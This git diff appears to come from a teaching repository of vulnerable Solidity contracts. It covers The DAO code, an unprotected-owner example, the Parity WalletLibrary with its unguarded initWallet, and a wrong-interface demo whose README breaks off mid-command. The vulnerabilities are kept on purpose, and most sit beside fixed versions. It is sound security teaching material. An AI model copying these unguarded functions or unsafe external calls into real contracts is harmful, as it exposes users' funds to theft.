is DAOInterface, Token, TokenCreation { + + // Modifier that allows only shareholders to vote and create new proposals + modifier onlyTokenholders { + if (balanceOf(msg.sender) == 0) throw; + _ + } + + function DAO( + address _curator, + DAO_Creator _daoCreator, + uint _proposalDeposit, + uint _minTokensToCreate, + uint _closingTime, + address _privateCreation + ) TokenCreation(_minTokensToCreate, _closingTime, _privateCreation) { + + curator = _curator; + daoCreator = _daoCreator; + proposalDeposit = _proposalDeposit; + rewardAccount = new ManagedAccount(address(this), false); + DAOrewardAccount = new ManagedAccount(address(this), false); + if (address(rewardAccount) == 0) + throw; + if (address(DAOrewardAccount) == 0) + throw; + lastTimeMinQuorumMet = now; + minQuorumDivisor = 5; // sets the minimal quorum to 20% + proposals.length = 1; // avoids a proposal with ID 0 because it is used + + allowedRecipients[address(this)] = true; + allowedRecipients[curator] = true; + } + + function () returns (bool success) { + if (now < closingTime + creationGracePeriod && msg.sender != address(extraBalance)) + return createTokenProxy(msg.sender); + else + return receiveEther(); + } + + + function receiveEther() returns (bool) { + return true; + } + + + function newProposal( + address _recipient, + uint _amount, + string _description, + bytes _transactionData, + uint _debatingPeriod, + bool _newCurator + ) onlyTokenholders returns (uint _proposalID) { + + // Sanity check + if (_newCurator && ( + _amount != 0 + || _transactionData.length != 0 + || _recipient == curator + || msg.value > 0 + || _debatingPeriod < minSplitDebatePeriod)) { + throw; + } else if ( + !_newCurator + && (!isRecipientAllowed(_recipient) || (_debatingPeriod < minProposalDebatePeriod)) + ) { + throw; + } + + if (_debatingPeriod > 8 weeks) + throw; + + if (!isFueled + || now < closingTime + || (msg.value < proposalDeposit && !_newCurator)) { + + throw; + } + + if (now + _debatingPeriod < now) // prevents overflow + throw; + + // to prevent a 51% attacker to convert the ether into deposit + if (msg.sender == address(this)) + throw; + + _proposalID = proposals.length++; + Proposal p = proposals[_proposalID]; + p.recipient = _recipient; + p.amount = _amount; + p.description = _description; + p.proposalHash = sha3(_recipient, _amount, _transactionData); + p.votingDeadline = now + _debatingPeriod; + p.open = true; + //p.proposalPassed = False; // that's default + p.newCurator = _newCurator; + if (_newCurator) + p.splitData.length++; + p.creator = msg.sender; + p.proposalDeposit = msg.value; + + sumOfProposalDeposits += msg.value; + + ProposalAdded( + _proposalID, + _recipient, + _amount, + _newCurator, + _description + ); + } + + + function checkProposalCode( + uint _proposalID, + address _recipient, + uint _amount, + bytes _transactionData + ) noEther constant returns (bool _codeChecksOut) { + Proposal p = proposals[_proposalID]; + return p.proposalHash == sha3(_recipient, _amount, _transactionData); + } + + + function vote( + uint _proposalID, + bool _supportsProposal + ) onlyTokenholders noEther returns (uint _voteID) { + + Proposal p = proposals[_proposalID]; + if (p.votedYes[msg.sender] + || p.votedNo[msg.sender] + || now >= p.votingDeadline) { + + throw; + } + + if (_supportsProposal) { + p.yea += balances[msg.sender]; + p.votedYes[msg.sender] = true; + } else { + p.nay += balances[msg.sender]; + p.votedNo[msg.sender] = true; + } + + if (blocked[msg.sender] == 0) { + blocked[msg.sender] = _proposalID; + } else if (p.votingDeadline > proposals[blocked[msg.sender]].votingDeadline) { + // this proposal's voting deadline is further into the future than + // the proposal that blocks the sender so make it the blocker + blocked[msg.sender] = _proposalID; + } + + Voted(_proposalID, _supportsProposal, msg.sender); + } + + + function executeProposal( + uint _proposalID, + bytes _transactionData + ) noEther returns (bool _success) { + + Proposal p = proposals[_proposalID]; + + uint waitPeriod = p.newCurator + ? splitExecutionPeriod + : executeProposalPeriod; + // If we are over deadline and waiting period, assert proposal is closed + if (p.open && now > p.votingDeadline + waitPeriod) { + closeProposal(_proposalID); + return; + } + + // Check if the proposal can be executed + if (now < p.votingDeadline // has the voting deadline arrived? + // Have the votes been counted? + || !p.open + // Does the transaction code match the proposal? + || p.proposalHash != sha3(p.recipient, p.amount, _transactionData)) { + + throw; + } + + // If the curator removed the recipient from the whitelist, close the proposal + // in order to free the deposit and allow unblocking of voters + if (!isRecipientAllowed(p.recipient)) { + closeProposal(_proposalID); + p.creator.send(p.proposalDeposit); + return; + } + + bool proposalCheck = true; + + if (p.amount > actualBalance()) + proposalCheck = false; + + uint quorum = p.yea + p.nay; + + // require 53% for calling newContract() + if (_transactionData.length >= 4 && _transactionData[0] == 0x68 + && _transactionData[1] == 0x37 && _transactionData[2] == 0xff + && _transactionData[3] == 0x1e + && quorum < minQuorum(actualBalance() + rewardToken[address(this)])) { + + proposalCheck = false; + } + + if (quorum >= minQuorum(p.amount)) { + if (!p.creator.send(p.proposalDeposit)) + throw; + + lastTimeMinQuorumMet = now; + // set the minQuorum to 20% again, in the case it has been reached + if (quorum > totalSupply / 5) + minQuorumDivisor = 5; + } + + // Execute result + if (quorum >= minQuorum(p.amount) && p.yea > p.nay && proposalCheck) { + if (!p.recipient.call.value(p.amount)(_transactionData)) + throw; + + p.proposalPassed = true; + _success = true; + + // only create reward tokens when ether is not sent to the DAO itself and + // related addresses. Proxy addresses should be forbidden by the curator. + if (p.recipient != address(this) && p.recipient != address(rewardAccount) + && p.recipient != address(DAOrewardAccount) + && p.recipient != address(extraBalance) + && p.recipient != address(curator)) { + + rewardToken[address(this)] += p.amount; + totalRewardToken += p.amount; + } + } + + closeProposal(_proposalID); + + // Initiate event + ProposalTallied(_proposalID, _success, quorum); + } + + + function closeProposal(uint _proposalID) internal { + Proposal p = proposals[_proposalID]; + if (p.open) + sumOfProposalDeposits -= p.proposalDeposit; + p.open = false; + } + + function splitDAO( + uint _proposalID, + address _newCurator + ) noEther onlyTokenholders returns (bool _success) { + + Proposal p = proposals[_proposalID]; + + // Sanity check + + if (now < p.votingDeadline // has the voting deadline arrived? + //The request for a split expires XX days after the voting deadline + || now > p.votingDeadline + splitExecutionPeriod + // Does the new Curator address match? + || p.recipient != _newCurator + // Is it a new curator proposal? + || !p.newCurator + // Have you voted for this split? + || !p.votedYes[msg.sender] + // Did you already vote on another proposal? + || (blocked[msg.sender] != _proposalID && blocked[msg.sender] != 0) ) { + + throw; + } + + // If the new DAO doesn't exist yet, create the new DAO and store the + // current split data + if (address(p.splitData[0].newDAO) == 0) { + p.splitData[0].newDAO = createNewDAO(_newCurator); + // Call depth limit reached, etc. + if (address(p.splitData[0].newDAO) == 0) + throw; + // should never happen + if (this.balance < sumOfProposalDeposits) + throw; + p.splitData[0].splitBalance = actualBalance(); + p.splitData[0].rewardToken = rewardToken[address(this)]; + p.splitData[0].totalSupply = totalSupply; + p.proposalPassed = true; + } + + // Move ether and assign new Tokens + uint fundsToBeMoved = + (balances[msg.sender] * p.splitData[0].splitBalance) / + p.splitData[0].totalSupply; + if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) + throw; + + + // Assign reward rights to new DAO + uint rewardTokenToBeMoved = + (balances[msg.sender] * p.splitData[0].rewardToken) / + p.splitData[0].totalSupply; + + uint paidOutToBeMoved = DAOpaidOut[address(this)] * rewardTokenToBeMoved / + rewardToken[address(this)]; + + rewardToken[address(p.splitData[0].newDAO)] += rewardTokenToBeMoved; + if (rewardToken[address(this)] < rewardTokenToBeMoved) + throw; + rewardToken[address(this)] -= rewardTokenToBeMoved; + + DAOpaidOut[address(p.splitData[0].newDAO)] += paidOutToBeMoved; + if (DAOpaidOut[address(this)] < paidOutToBeMoved) + throw; + DAOpaidOut[address(this)] -= paidOutToBeMoved; + + // Burn DAO Tokens + Transfer(msg.sender, 0, balances[msg.sender]); + withdrawRewardFor(msg.sender); // be nice, and get his rewards + totalSupply -= balances[msg.sender]; + balances[msg.sender] = 0; + paidOut[msg.sender] = 0; + return true; + } + + function newContract(address _newContract){ + if (msg.sender != address(this) || !allowedRecipients[_newContract]) return; + // move all ether + if (!_newContract.call.value(address(this).balance)()) { + throw; + } + + //move all reward tokens + rewardToken[_newContract] += rewardToken[address(this)]; + rewardToken[address(this)] = 0; + DAOpaidOut[_newContract] += DAOpaidOut[address(this)]; + DAOpaidOut[address(this)] = 0; + } + + + function retrieveDAOReward(bool _toMembers) external noEther returns (bool _success) { + DAO dao = DAO(msg.sender); + + if ((rewardToken[msg.sender] * DAOrewardAccount.accumulatedInput()) / + totalRewardToken < DAOpaidOut[msg.sender]) + throw; + + uint reward = + (rewardToken[msg.sender] * DAOrewardAccount.accumulatedInput()) / + totalRewardToken - DAOpaidOut[msg.sender]; + if(_toMembers) { + if (!DAOrewardAccount.payOut(dao.rewardAccount(), reward)) + throw; + } + else { + if (!DAOrewardAccount.payOut(dao, reward)) + throw; + } + DAOpaidOut[msg.sender] += reward; + return true; + } + + function getMyReward() noEther returns (bool _success) { + return withdrawRewardFor(msg.sender); + } + + + function withdrawRewardFor(address _account) noEther internal returns (bool _success) { + if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) + throw; + + uint reward = + (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; + if (!rewardAccount.payOut(_account, reward)) + throw; + paidOut[_account] += reward; + return true; + } + + + function transfer(address _to, uint256 _value) returns (bool success) { + if (isFueled + && now > closingTime + && !isBlocked(msg.sender) + && transferPaidOut(msg.sender, _to, _value) + && super.transfer(_to, _value)) { + + return true; + } else { + throw; + } + } + + + function transferWithoutReward(address _to, uint256 _value) returns (bool success) { + if (!getMyReward()) + throw; + return transfer(_to, _value); + } + + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + if (isFueled + && now > closingTime + && !isBlocked(_from) + && transferPaidOut(_from, _to, _value) + && super.transferFrom(_from, _to, _value)) { + + return true; + } else { + throw; + } + } + + + function transferFromWithoutReward( + address _from, + address _to, + uint256 _value + ) returns (bool success) { + + if (!withdrawRewardFor(_from)) + throw; + return transferFrom(_from, _to, _value); + } + + + function transferPaidOut( + address _from, + address _to, + uint256 _value + ) internal returns (bool success) { + + uint transferPaidOut = paidOut[_from] * _value / balanceOf(_from); + if (transferPaidOut > paidOut[_from]) + throw; + paidOut[_from] -= transferPaidOut; + paidOut[_to] += transferPaidOut; + return true; + } + + + function changeProposalDeposit(uint _proposalDeposit) noEther external { + if (msg.sender != address(this) || _proposalDeposit > (actualBalance() + rewardToken[address(this)]) + / maxDepositDivisor) { + + throw; + } + proposalDeposit = _proposalDeposit; + } + + + function changeAllowedRecipients(address _recipient, bool _allowed) noEther external returns (bool _success) { + if (msg.sender != curator) + throw; + allowedRecipients[_recipient] = _allowed; + AllowedRecipientChanged(_recipient, _allowed); + return true; + } + + + function isRecipientAllowed(address _recipient) internal returns (bool _isAllowed) { + if (allowedRecipients[_recipient] + || (_recipient == address(extraBalance) + // only allowed when at least the amount held in the + // extraBalance account has been spent from the DAO + && totalRewardToken > extraBalance.accumulatedInput())) + return true; + else + return false; + } + + function actualBalance() constant returns (uint _actualBalance) { + return this.balance - sumOfProposalDeposits; + } + + + function minQuorum(uint _value) internal constant returns (uint _minQuorum) { + // minimum of 20% and maximum of 53.33% + return totalSupply / minQuorumDivisor + + (_value * totalSupply) / (3 * (actualBalance() + rewardToken[address(this)])); + } + + + function halveMinQuorum() returns (bool _success) { + // this can only be called after `quorumHalvingPeriod` has passed or at anytime + // by the curator with a delay of at least `minProposalDebatePeriod` between the calls + if ((lastTimeMinQuorumMet < (now - quorumHalvingPeriod) || msg.sender == curator) + && lastTimeMinQuorumMet < (now - minProposalDebatePeriod)) { + lastTimeMinQuorumMet = now; + minQuorumDivisor *= 2; + return true; + } else { + return false; + } + } + + function createNewDAO(address _newCurator) internal returns (DAO _newDAO) { + NewCurator(_newCurator); + return daoCreator.createDAO(_newCurator, 0, 0, now + splitExecutionPeriod); + } + + function numberOfProposals() constant returns (uint _numberOfProposals) { + // Don't count index 0. It's used by isBlocked() and exists from start + return proposals.length - 1; + } + + function getNewDAOAddress(uint _proposalID) constant returns (address _newDAO) { + return proposals[_proposalID].splitData[0].newDAO; + } + + function isBlocked(address _account) internal returns (bool) { + if (blocked[_account] == 0) + return false; + Proposal p = proposals[blocked[_account]]; + if (now > p.votingDeadline) { + blocked[_account] = 0; + return false; + } else { + return true; + } + } + + function unblockMe() returns (bool) { + return isBlocked(msg.sender); + } +} + +contract DAO_Creator { + function createDAO( + address _curator, + uint _proposalDeposit, + uint _minTokensToCreate, + uint _closingTime + ) returns (DAO _newDAO) { + + return new DAO( + _curator, + DAO_Creator(this), + _proposalDeposit, + _minTokensToCreate, + _closingTime, + msg.sender + ); + } +} diff --git a/unprotected_function/README.md b/unprotected_function/README.md new file mode 100644 index 00000000..d5ff9199 --- /dev/null +++ b/unprotected_function/README.md @@ -0,0 +1,10 @@ +# Unprotected function + +## Principle: +- Missing modifier on a sensitive function + + +## Known exploit +[Parity Wallet](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7) +- See `initWallet` in `WalletLibrary_source_code/WalletLibrary.sol` + diff --git a/unprotected_function/Unprotected.sol b/unprotected_function/Unprotected.sol new file mode 100644 index 00000000..9cd32d8c --- /dev/null +++ b/unprotected_function/Unprotected.sol @@ -0,0 +1,30 @@ +pragma solidity ^0.4.15; + +contract Unprotected{ + address private owner; + + modifier onlyowner { + require(msg.sender==owner); + _; + } + + function Unprotected() + public + { + owner = msg.sender; + } + + // This function should be protected + function changeOwner(address _newOwner) + public + { + owner = _newOwner; + } + + function changeOwner_fixed(address _newOwner) + public + onlyowner + { + owner = _newOwner; + } +} diff --git a/unprotected_function/WalletLibrary_source_code/WalletLibrary.sol b/unprotected_function/WalletLibrary_source_code/WalletLibrary.sol new file mode 100644 index 00000000..d4f94d94 --- /dev/null +++ b/unprotected_function/WalletLibrary_source_code/WalletLibrary.sol @@ -0,0 +1,462 @@ +// 0xa657491c1e7f16adb39b9b60e87bbb8d93988bc3#code +//sol Wallet +// Multi-sig, daily-limited account proxy/wallet. +// @authors: +// Gav Wood +// inheritable "property" contract that enables methods to be protected by requiring the acquiescence of either a +// single, or, crucially, each of a number of, designated owners. +// usage: +// use modifiers onlyowner (just own owned) or onlymanyowners(hash), whereby the same hash must be provided by +// some number (specified in constructor) of the set of owners (specified in the constructor, modifiable) before the +// interior is executed. + +pragma solidity ^0.4.9; + +contract WalletEvents { + // EVENTS + + // this contract only has six types of events: it can accept a confirmation, in which case + // we record owner and operation (hash) alongside it. + event Confirmation(address owner, bytes32 operation); + event Revoke(address owner, bytes32 operation); + + // some others are in the case of an owner changing. + event OwnerChanged(address oldOwner, address newOwner); + event OwnerAdded(address newOwner); + event OwnerRemoved(address oldOwner); + + // the last one is emitted if the required signatures change + event RequirementChanged(uint newRequirement); + + // Funds has arrived into the wallet (record how much). + event Deposit(address _from, uint value); + // Single transaction going out of the wallet (record who signed for it, how much, and to whom it's going). + event SingleTransact(address owner, uint value, address to, bytes data, address created); + // Multi-sig transaction going out of the wallet (record who signed for it last, the operation hash, how much, and to whom it's going). + event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created); + // Confirmation still needed for a transaction. + event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data); +} + +contract WalletAbi { + // Revokes a prior confirmation of the given operation + function revoke(bytes32 _operation) external; + + // Replaces an owner `_from` with another `_to`. + function changeOwner(address _from, address _to) external; + + function addOwner(address _owner) external; + + function removeOwner(address _owner) external; + + function changeRequirement(uint _newRequired) external; + + function isOwner(address _addr) constant returns (bool); + + function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool); + + // (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today. + function setDailyLimit(uint _newLimit) external; + + function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash); + function confirm(bytes32 _h) returns (bool o_success); +} + +contract WalletLibrary is WalletEvents { + // TYPES + + // struct for the status of a pending operation. + struct PendingState { + uint yetNeeded; + uint ownersDone; + uint index; + } + + // Transaction structure to remember details of transaction lest it need be saved for a later call. + struct Transaction { + address to; + uint value; + bytes data; + } + + // MODIFIERS + + // simple single-sig function modifier. + modifier onlyowner { + if (isOwner(msg.sender)) + _; + } + // multi-sig function modifier: the operation must have an intrinsic hash in order + // that later attempts can be realised as the same underlying operation and + // thus count as confirmations. + modifier onlymanyowners(bytes32 _operation) { + if (confirmAndCheck(_operation)) + _; + } + + // METHODS + + // gets called when no other function matches + function() payable { + // just being sent some cash? + if (msg.value > 0) + Deposit(msg.sender, msg.value); + } + + // constructor is given number of sigs required to do protected "onlymanyowners" transactions + // as well as the selection of addresses capable of confirming them. + function initMultiowned(address[] _owners, uint _required) { + m_numOwners = _owners.length + 1; + m_owners[1] = uint(msg.sender); + m_ownerIndex[uint(msg.sender)] = 1; + for (uint i = 0; i < _owners.length; ++i) + { + m_owners[2 + i] = uint(_owners[i]); + m_ownerIndex[uint(_owners[i])] = 2 + i; + } + m_required = _required; + } + + // Revokes a prior confirmation of the given operation + function revoke(bytes32 _operation) external { + uint ownerIndex = m_ownerIndex[uint(msg.sender)]; + // make sure they're an owner + if (ownerIndex == 0) return; + uint ownerIndexBit = 2**ownerIndex; + var pending = m_pending[_operation]; + if (pending.ownersDone & ownerIndexBit > 0) { + pending.yetNeeded++; + pending.ownersDone -= ownerIndexBit; + Revoke(msg.sender, _operation); + } + } + + // Replaces an owner `_from` with another `_to`. + function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external { + if (isOwner(_to)) return; + uint ownerIndex = m_ownerIndex[uint(_from)]; + if (ownerIndex == 0) return; + + clearPending(); + m_owners[ownerIndex] = uint(_to); + m_ownerIndex[uint(_from)] = 0; + m_ownerIndex[uint(_to)] = ownerIndex; + OwnerChanged(_from, _to); + } + + function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external { + if (isOwner(_owner)) return; + + clearPending(); + if (m_numOwners >= c_maxOwners) + reorganizeOwners(); + if (m_numOwners >= c_maxOwners) + return; + m_numOwners++; + m_owners[m_numOwners] = uint(_owner); + m_ownerIndex[uint(_owner)] = m_numOwners; + OwnerAdded(_owner); + } + + function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external { + uint ownerIndex = m_ownerIndex[uint(_owner)]; + if (ownerIndex == 0) return; + if (m_required > m_numOwners - 1) return; + + m_owners[ownerIndex] = 0; + m_ownerIndex[uint(_owner)] = 0; + clearPending(); + reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot + OwnerRemoved(_owner); + } + + function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external { + if (_newRequired > m_numOwners) return; + m_required = _newRequired; + clearPending(); + RequirementChanged(_newRequired); + } + + // Gets an owner by 0-indexed position (using numOwners as the count) + function getOwner(uint ownerIndex) external constant returns (address) { + return address(m_owners[ownerIndex + 1]); + } + + function isOwner(address _addr) constant returns (bool) { + return m_ownerIndex[uint(_addr)] > 0; + } + + function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) { + var pending = m_pending[_operation]; + uint ownerIndex = m_ownerIndex[uint(_owner)]; + + // make sure they're an owner + if (ownerIndex == 0) return false; + + // determine the bit to set for this owner. + uint ownerIndexBit = 2**ownerIndex; + return !(pending.ownersDone & ownerIndexBit == 0); + } + + // constructor - stores initial daily limit and records the present day's index. + function initDaylimit(uint _limit) { + m_dailyLimit = _limit; + m_lastDay = today(); + } + // (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today. + function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external { + m_dailyLimit = _newLimit; + } + // resets the amount already spent today. needs many of the owners to confirm. + function resetSpentToday() onlymanyowners(sha3(msg.data)) external { + m_spentToday = 0; + } + + // constructor - just pass on the owner array to the multiowned and + // the limit to daylimit + function initWallet(address[] _owners, uint _required, uint _daylimit) { + initDaylimit(_daylimit); + initMultiowned(_owners, _required); + } + + // kills the contract sending everything to `_to`. + function kill(address _to) onlymanyowners(sha3(msg.data)) external { + suicide(_to); + } + + // Outside-visible transact entry point. Executes transaction immediately if below daily spend limit. + // If not, goes into multisig process. We provide a hash on return to allow the sender to provide + // shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value + // and _data arguments). They still get the option of using them if they want, anyways. + function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) { + // first, take the opportunity to check that we're under the daily limit. + if ((_data.length == 0 && underLimit(_value)) || m_required == 1) { + // yes - just execute the call. + address created; + if (_to == 0) { + created = create(_value, _data); + } else { + if (!_to.call.value(_value)(_data)) + throw; + } + SingleTransact(msg.sender, _value, _to, _data, created); + } else { + // determine our operation hash. + o_hash = sha3(msg.data, block.number); + // store if it's new + if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) { + m_txs[o_hash].to = _to; + m_txs[o_hash].value = _value; + m_txs[o_hash].data = _data; + } + if (!confirm(o_hash)) { + ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data); + } + } + } + + function create(uint _value, bytes _code) internal returns (address o_addr) { + assembly { + o_addr := create(_value, add(_code, 0x20), mload(_code)) + jumpi(invalidJumpLabel, iszero(extcodesize(o_addr))) + } + } + + // confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order + // to determine the body of the transaction from the hash provided. + function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) { + if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) { + address created; + if (m_txs[_h].to == 0) { + created = create(m_txs[_h].value, m_txs[_h].data); + } else { + if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data)) + throw; + } + + MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created); + delete m_txs[_h]; + return true; + } + } + + // INTERNAL METHODS + + function confirmAndCheck(bytes32 _operation) internal returns (bool) { + // determine what index the present sender is: + uint ownerIndex = m_ownerIndex[uint(msg.sender)]; + // make sure they're an owner + if (ownerIndex == 0) return; + + var pending = m_pending[_operation]; + // if we're not yet working on this operation, switch over and reset the confirmation status. + if (pending.yetNeeded == 0) { + // reset count of confirmations needed. + pending.yetNeeded = m_required; + // reset which owners have confirmed (none) - set our bitmap to 0. + pending.ownersDone = 0; + pending.index = m_pendingIndex.length++; + m_pendingIndex[pending.index] = _operation; + } + // determine the bit to set for this owner. + uint ownerIndexBit = 2**ownerIndex; + // make sure we (the message sender) haven't confirmed this operation previously. + if (pending.ownersDone & ownerIndexBit == 0) { + Confirmation(msg.sender, _operation); + // ok - check if count is enough to go ahead. + if (pending.yetNeeded <= 1) { + // enough confirmations: reset and run interior. + delete m_pendingIndex[m_pending[_operation].index]; + delete m_pending[_operation]; + return true; + } + else + { + // not enough: record that this owner in particular confirmed. + pending.yetNeeded--; + pending.ownersDone |= ownerIndexBit; + } + } + } + + function reorganizeOwners() private { + uint free = 1; + while (free < m_numOwners) + { + while (free < m_numOwners && m_owners[free] != 0) free++; + while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--; + if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) + { + m_owners[free] = m_owners[m_numOwners]; + m_ownerIndex[m_owners[free]] = free; + m_owners[m_numOwners] = 0; + } + } + } + + // checks to see if there is at least `_value` left from the daily limit today. if there is, subtracts it and + // returns true. otherwise just returns false. + function underLimit(uint _value) internal onlyowner returns (bool) { + // reset the spend limit if we're on a different day to last time. + if (today() > m_lastDay) { + m_spentToday = 0; + m_lastDay = today(); + } + // check to see if there's enough left - if so, subtract and return true. + // overflow protection // dailyLimit check + if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) { + m_spentToday += _value; + return true; + } + return false; + } + + // determines today's index. + function today() private constant returns (uint) { return now / 1 days; } + + function clearPending() internal { + uint length = m_pendingIndex.length; + + for (uint i = 0; i < length; ++i) { + delete m_txs[m_pendingIndex[i]]; + + if (m_pendingIndex[i] != 0) + delete m_pending[m_pendingIndex[i]]; + } + + delete m_pendingIndex; + } + + // FIELDS + address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe; + + // the number of owners that must confirm the same operation before it is run. + uint public m_required; + // pointer used to find a free slot in m_owners + uint public m_numOwners; + + uint public m_dailyLimit; + uint public m_spentToday; + uint public m_lastDay; + + // list of owners + uint[256] m_owners; + + uint constant c_maxOwners = 250; + // index on the list of owners to allow reverse lookup + mapping(uint => uint) m_ownerIndex; + // the ongoing operations. + mapping(bytes32 => PendingState) m_pending; + bytes32[] m_pendingIndex; + + // pending transactions we have at present. + mapping (bytes32 => Transaction) m_txs; +} + +contract Wallet is WalletEvents { + + // WALLET CONSTRUCTOR + // calls the `initWallet` method of the Library in this context + function Wallet(address[] _owners, uint _required, uint _daylimit) { + // Signature of the Wallet Library's init function + bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)")); + address target = _walletLibrary; + + // Compute the size of the call data : arrays has 2 + // 32bytes for offset and length, plus 32bytes per element ; + // plus 2 32bytes for each uint + uint argarraysize = (2 + _owners.length); + uint argsize = (2 + argarraysize) * 32; + + assembly { + // Add the signature first to memory + mstore(0x0, sig) + // Add the call data, which is at the end of the + // code + codecopy(0x4, sub(codesize, argsize), argsize) + // Delegate call to the library + delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0) + } + } + + // METHODS + + // gets called when no other function matches + function() payable { + // just being sent some cash? + if (msg.value > 0) + Deposit(msg.sender, msg.value); + else if (msg.data.length > 0) + _walletLibrary.delegatecall(msg.data); + } + + // Gets an owner by 0-indexed position (using numOwners as the count) + function getOwner(uint ownerIndex) constant returns (address) { + return address(m_owners[ownerIndex + 1]); + } + + // As return statement unavailable in fallback, explicit the method here + + function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) { + return _walletLibrary.delegatecall(msg.data); + } + + function isOwner(address _addr) constant returns (bool) { + return _walletLibrary.delegatecall(msg.data); + } + + // FIELDS + address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe; + + // the number of owners that must confirm the same operation before it is run. + uint public m_required; + // pointer used to find a free slot in m_owners + uint public m_numOwners; + + uint public m_dailyLimit; + uint public m_spentToday; + uint public m_lastDay; + + // list of owners + uint[256] m_owners; +} diff --git a/wrong_interface/Alice.sol b/wrong_interface/Alice.sol new file mode 100644 index 00000000..9cd2aa55 --- /dev/null +++ b/wrong_interface/Alice.sol @@ -0,0 +1,18 @@ + +pragma solidity ^0.4.15; + +contract Alice { + int public val; + + function set(int new_val){ + val = new_val; + } + + function set_fixed(int new_val){ + val = new_val; + } + + function(){ + val = 1; + } +} diff --git a/wrong_interface/Bob.sol b/wrong_interface/Bob.sol new file mode 100644 index 00000000..7679ba6b --- /dev/null +++ b/wrong_interface/Bob.sol @@ -0,0 +1,17 @@ + +pragma solidity ^0.4.15; + +contract Alice { + function set(uint); + function set_fixed(int); +} + +contract Bob { + function set(Alice c){ + c.set(42); + } + + function set_fixed(Alice c){ + c.set_fixed(42); + } +} diff --git a/wrong_interface/README.md b/wrong_interface/README.md new file mode 100644 index 00000000..e143197d --- /dev/null +++ b/wrong_interface/README.md @@ -0,0 +1,76 @@ +# Wrong interface + +## Principle: +- Wrong contract interface + +## Detail +The interface is wrongly define. `Alice.set(uint)` takes an `uint` in `Bob.sol` and `Alice.set(int)` in `Alice.sol`. +The id of the method from bob will be wrong, as a result bob will call the fallback function of alice. + +## Running example +First, get the bytecode and the abi of the contracts: +```̀bash +$ solc --bin Alice.sol +6060604052341561000f57600080fd5b5b6101158061001f6000396000f300606060405236156051576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633c6bb436146067578063a5d5e46514608d578063e5c19b2d1460ad575b3415605b57600080fd5b5b60016000819055505b005b3415607157600080fd5b607760cd565b6040518082815260200191505060405180910390f35b3415609757600080fd5b60ab600480803590602001909190505060d3565b005b341560b757600080fd5b60cb600480803590602001909190505060de565b005b60005481565b806000819055505b50565b806000819055505b505600a165627a7a723058207d0ad6d1ce356adf9fa0284c9f887bb4b912204886b731c37c2ae5d16aef19a20029 +$ solc --abi Alice.sol +[{"constant":true,"inputs":[],"name":"val","outputs":[{"name":"","type":"int256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"new_val","type":"int256"}],"name":"set_fixed","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"new_val","type":"int256"}],"name":"set","outputs":[],"payable":false,"type":"function"},{"payable":false,"type":"fallback"}] + + +$ solc --bin Bob.sol +6060604052341561000f57600080fd5b5b6101f58061001f6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632801617e1461004957806390b2290e14610082575b600080fd5b341561005457600080fd5b610080600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506100bb565b005b341561008d57600080fd5b6100b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610142565b005b8073ffffffffffffffffffffffffffffffffffffffff166360fe47b1602a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561012a57600080fd5b6102c65a03f1151561013b57600080fd5b5050505b50565b8073ffffffffffffffffffffffffffffffffffffffff1663a5d5e465602a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15156101b157600080fd5b6102c65a03f115156101c257600080fd5b5050505b505600a165627a7a72305820f8c9dcade78d92097c18627223a8583507e9331ef1e5de02640ffc2e731111320029 +$ solc --abi Bob.sol +[{"constant":false,"inputs":[{"name":"c","type":"address"}],"name":"set","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"c","type":"address"}],"name":"set_fixed","outputs":[],"payable":false,"type":"function"}] +``` + +The following commands were tested on a private blockchain + +```javascript +$ get attach + +// this unlock the account for a limited amount of time +// if you have an error: +// Error: authentication needed: password or unlock +// you can to call unlockAccount again +personal.unlockAccount(eth.accounts[0], "apasswordtochange") + +var bytecodeAlice = 